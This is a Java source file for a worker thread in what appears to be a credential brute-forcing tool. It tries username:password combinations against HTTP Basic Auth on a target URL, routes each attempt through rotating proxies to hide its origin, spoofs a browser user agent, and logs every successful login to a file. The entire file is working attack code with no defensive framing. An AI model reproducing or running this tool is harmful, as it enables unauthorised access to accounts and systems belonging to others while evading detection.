import java.io.FileWriter;
import java.io.IOException;
import java.net.ConnectException;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.Proxy;
import java.net.URL;

import org.apache.commons.codec.binary.Base64;

public class Warrior implements Runnable {

    private final BattleData battleInfo;
    private final String[] tmpdis = new String[2];
    private final String combo;
    private final FileWriter fwrite;

    public Warrior(BattleData battleInfo, String addr, String port,
	    String combo, FileWriter fwrite) {
	this.battleInfo = battleInfo;
	tmpdis[0] = addr;
	tmpdis[1] = port;
	this.combo = combo;
	this.fwrite = fwrite;
    }

    @Override
    public void run() {
	// Apache HttpClient and HttpUnit are outdated buggy pieces of s***.
	// Worst doc ever read.
	HttpURLConnection castle = null;
	boolean aliveDisguise = true;
	URL castlePos = null;

	try {
	    castlePos = new URL(battleInfo.getCastleURL());
	    // setup default connection to url.
	    castle = setupCon(castlePos);
	} catch (MalformedURLException e1) {
	    e1.printStackTrace();
	}

	try {
	    int rs = castle.getResponseCode();

	    if (rs == HttpURLConnection.HTTP_UNAUTHORIZED) {
		castle.disconnect();

		castle = setupCon(castlePos);
		// add basic auth string to header.
		castle.setRequestProperty("Authorization",
			"Basic " + Base64.encodeBase64String(combo.getBytes()));

		// try again and chk if auth worked.
		if (castle.getResponseCode() == HttpURLConnection.HTTP_OK) {
		    System.out.println("Hit >> " + combo + " @ "
			    + battleInfo.getCastleURL());
		    // dump working auth to file.
		    fwrite.write(combo + " @ " + battleInfo.getCastleURL()
			    + "\n");
		    fwrite.flush();
		} else if (rs == HttpURLConnection.HTTP_MOVED_TEMP) {
		    // queue retry to validate.
		    battleInfo.returnCombo(combo);
		}
	    }

	    if (rs == HttpURLConnection.HTTP_UNAVAILABLE
		    || rs == HttpURLConnection.HTTP_GATEWAY_TIMEOUT) {
		// proxy probably dead or site is unreachable.
		throw new ConnectException();
	    }
	} catch (ConnectException e) {
	    battleInfo.returnCombo(combo);
	    aliveDisguise = false;
	} catch (IOException e) {
	    battleInfo.returnCombo(combo);
	    aliveDisguise = false;
	} finally {
	    if (aliveDisguise) {
		battleInfo.returnDisguise(tmpdis[0] + ":" + tmpdis[1]);
	    }
	    castle.disconnect();
	}

    }

    private HttpURLConnection setupCon(URL url) {
	// this method builds the proxy connection.
	Proxy disguise = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(
		tmpdis[0], Integer.parseInt(tmpdis[1])));
	HttpURLConnection castle = null;
	try {
	    castle = (HttpURLConnection) url.openConnection(disguise);
	    castle.setReadTimeout(20 * 1000);
	    castle.setRequestProperty(
		    "User-agent",
		    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1");
	    castle.setUseCaches(false);
	} catch (IOException e) {
	    e.printStackTrace();
	}
	return castle;

    }
}
